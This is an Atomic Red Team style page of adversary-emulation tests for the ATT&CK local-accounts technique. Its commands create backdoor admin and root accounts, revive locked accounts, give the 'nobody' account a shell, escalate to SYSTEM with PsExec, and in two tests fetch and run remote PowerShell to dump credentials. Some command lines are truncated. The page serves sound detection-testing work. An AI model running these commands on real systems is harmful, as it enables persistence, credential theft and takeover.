T1078.003 - Valid Accounts: Local Accounts

Description from ATT&CK

> Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.
> Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.

Atomic Tests

- Atomic Test #1 - Create local account with admin privileges
- Atomic Test #2 - Create local account with admin privileges - MacOS
- Atomic Test #3 - Create local account with admin privileges using sysadminctl utility - MacOS

- Atomic Test #4 - Enable root account using dsenableroot utility - MacOS
- Atomic Test #5 - Add a new/existing user to the admin group using dseditgroup utility - macOS
- Atomic Test #6 - WinPwn - Loot local Credentials - powerhell kittie
- Atomic Test #7 - WinPwn - Loot local Credentials - Safetykatz
- Atomic Test #8 - Create local account (Linux)
- Atomic Test #9 - Reactivate a locked/expired account (Linux)
- Atomic Test #10 - Reactivate a locked/expired account (FreeBSD)
- Atomic Test #11 - Login as nobody (Linux)
- Atomic Test #12 - Login as nobody (freebsd)
- Atomic Test #13 - Use PsExec to elevate to NT Authority\SYSTEM account

Atomic Test #1 - Create local account with admin privileges

After execution the new account will be active and added to the Administrators group

Supported Platforms: Windows

auto_generated_guid: a524ce99-86de-4db6-b4f9-e08f35a47a15

Inputs:

Name	Description	Type	Default Value
password	Password for art-test user	string	-4RTisCool!-321

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
net user art-test /add
net user art-test #{password}
net localgroup administrators art-test /add
```

Cleanup Commands:

Atomic Test #2 - Create local account with admin privileges - MacOS

After execution the new account will be active and added to the Administrators group

Supported Platforms: macOS

auto_generated_guid: f1275566-1c26-4b66-83e3-7f9f7f964daa

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
dscl . -create /Users/AtomicUser
dscl . -create /Users/AtomicUser UserShell /bin/bash
dscl . -create /Users/AtomicUser RealName "Atomic User"
dscl . -create /Users/AtomicUser UniqueID 503
dscl . -create /Users/AtomicUser PrimaryGroupID 503
dscl . -create /Users/AtomicUser NFSHomeDirectory /Local/Users/AtomicUser
dscl . -passwd /Users/AtomicUser mySecretPassword
dscl . -append /Groups/admin GroupMembership AtomicUser
```

Cleanup Commands:

```
sudo dscl . -delete /Users/AtomicUser
```

Atomic Test #3 - Create local account with admin privileges using sysadminctl utility - MacOS

After execution the new account will be active and added to the Administrators group

Supported Platforms: macOS

auto_generated_guid: 191db57d-091a-47d5-99f3-97fde53de505

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
sysadminctl interactive -addUser art-tester -fullName ARTUser -password !pass123!
```

Cleanup Commands:

```
sysadminctl interactive -deleteUser art-tester
```

Atomic Test #4 - Enable root account using dsenableroot utility - MacOS

After execution the current/new user will have root access

Supported Platforms: macOS

auto_generated_guid: 20b40ea9-0e17-4155-b8e6-244911a678ac

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
dsenableroot #current user
dsenableroot -u art-tester -p art-tester -r art-root #new user
```

Cleanup Commands:

```
dsenableroot -d #current user
dsenableroot -d -u art-tester -p art-tester #new user
```

Atomic Test #5 - Add a new/existing user to the admin group using dseditgroup utility - macOS

After execution the current/new user will be added to the Admin group

Supported Platforms: macOS

auto_generated_guid: 433842ba-e796-4fd5-a14f-95d3a1970875

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
dseditgroup -o edit -a art-user -t user admin
```

Cleanup Commands:

```
dseditgroup -o edit -d art-user -t user admin
```

Atomic Test #6 - WinPwn - Loot local Credentials - powerhell kittie

Loot local Credentials - powerhell kittie technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 9e9fd066-453d-442f-88c1-ad7911d32912

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
obfuskittiedump -consoleoutput -noninteractive
```

Atomic Test #7 - WinPwn - Loot local Credentials - Safetykatz

Loot local Credentials - Safetykatz technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: e9fdb899-a980-4ba4-934b-486ad22e22f4

Attack Commands: Run with `powershell`! Elevation Required (e.g. root or admin)

```
$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t'
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3
safedump -consoleoutput -noninteractive
```

Atomic Test #8 - Create local account (Linux)

An adversary may wish to create an account with admin privileges to work with. In this test we create a "art" user with the password art, switch to art, execute whoami, exit and delete the art user.

Supported Platforms: Linux

auto_generated_guid: 02a91c34-8a5b-4bed-87af-501103eb5357

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
password=$(openssl passwd -1 art)
([ "$(uname)" = 'Linux' ] && useradd --shell /bin/bash --create-home --password $p
su art -c "whoami; exit"
```

Cleanup Commands:

```
[ "$(uname)" = 'Linux' ] && userdel art -rf || rmuser -y art
```

Atomic Test #9 - Reactivate a locked/expired account (Linux)

A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate.

In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.

Supported Platforms: Linux

auto_generated_guid: d2b95631-62d7-45a3-aaef-0972cea97931

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
useradd --shell /bin/bash --create-home --password $(openssl passwd -1 art) art
usermod --lock art
usermod --expiredate "1" art
usermod --unlock art
usermod --expiredate "99999" art
su -c whoami art
```

Cleanup Commands:

```
userdel -r art
```

Atomic Test #10 - Reactivate a locked/expired account (FreeBSD)

A system administrator may have locked and expired a user account rather than deleting it. "the user is coming back, at some stage" An adversary may reactivate a inactive account in an attempt to appear legitimate.

In this test we create a "art" user with the password art, lock and expire the account, try to su to art and fail, unlock and renew the account, su successfully, then delete the account.

Supported Platforms: Linux

auto_generated_guid: 09e3380a-fae5-4255-8b19-9950be0252cf

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
pw useradd art -g wheel -s /bin/sh
echo $(openssl passwd -1 art) | pw mod user testuser1 -h 0
pw lock art
pw usermod art -e +1d
pw unlock art
pw user mod art -e +99d
su art
whoami
exit
```

Cleanup Commands:

```
rmuser -y art
```

Atomic Test #11 - Login as nobody (Linux)

An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin`

Supported Platforms: Linux

auto_generated_guid: 3d2cd093-ee05-41bd-a802-59ee5c301b85

Attack Commands: Run with `bash`! Elevation Required (e.g. root or admin)

```
cat /etc/passwd |grep nobody
chsh --shell /bin/bash nobody
usermod --password $(openssl passwd -1 nobody) nobody
su -c "whoami" nobody
```

Cleanup Commands:

```
chsh --shell /usr/sbin/nologin nobody
cat /etc/passwd |grep nobody
# -> nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
```

Atomic Test #12 - Login as nobody (freebsd)

An adversary may try to re-purpose a system account to appear legitimate. In this test change the login shell of the nobody account, change its password to nobody, su to nobody, exit, then reset nobody's shell to /usr/sbin/nologin. Here is how the nobody entry should look like in `/etc/passwd` before the test is executed and right after the cleanup: `# -> nobody:x:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin`

Supported Platforms: Linux

auto_generated_guid: 16f6374f-7600-459a-9b16-6a88fd96d310

Attack Commands: Run with `sh`! Elevation Required (e.g. root or admin)

```
cat /etc/passwd |grep nobody
pw usermod nobody -s /bin/sh
echo $(openssl passwd -1 art) | pw mod user nobody -h 0
su nobody
whoami
exit
```

Cleanup Commands:

```
pw usermod nobody -s /usr/sbin/nologin
cat /etc/passwd |grep nobody
# -> nobody:*:65534:65534:Unprivileged user:/nonexistent:/usr/sbin/nologin
```

Atomic Test #13 - Use PsExec to elevate to NT Authority\SYSTEM account

PsExec is a powerful tool most known for its remote management capability. However, it can also be used to run processes as the local system account.

The local system account is a default windows account which has unrestricted access to all system resources.

Upon successful execution, PsExec.exe will spawn a command prompt which will run 'whoami' as the local system account and then exit.

Supported Platforms: Windows

auto_generated_guid: 6904235f-0f55-4039-8aed-41c300ff7733

Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```
"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula -s %COMSPEC% /c wl
```

Dependencies: Run with `powershell`!

Description: PsExec tool from Sysinternals must exist in the ExternalPayloads directory

Check Prereq Commands:

```
if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe") { exit 0 } els
```

Get Prereq Commands:

```
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction I
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "
Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomic
Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtom
```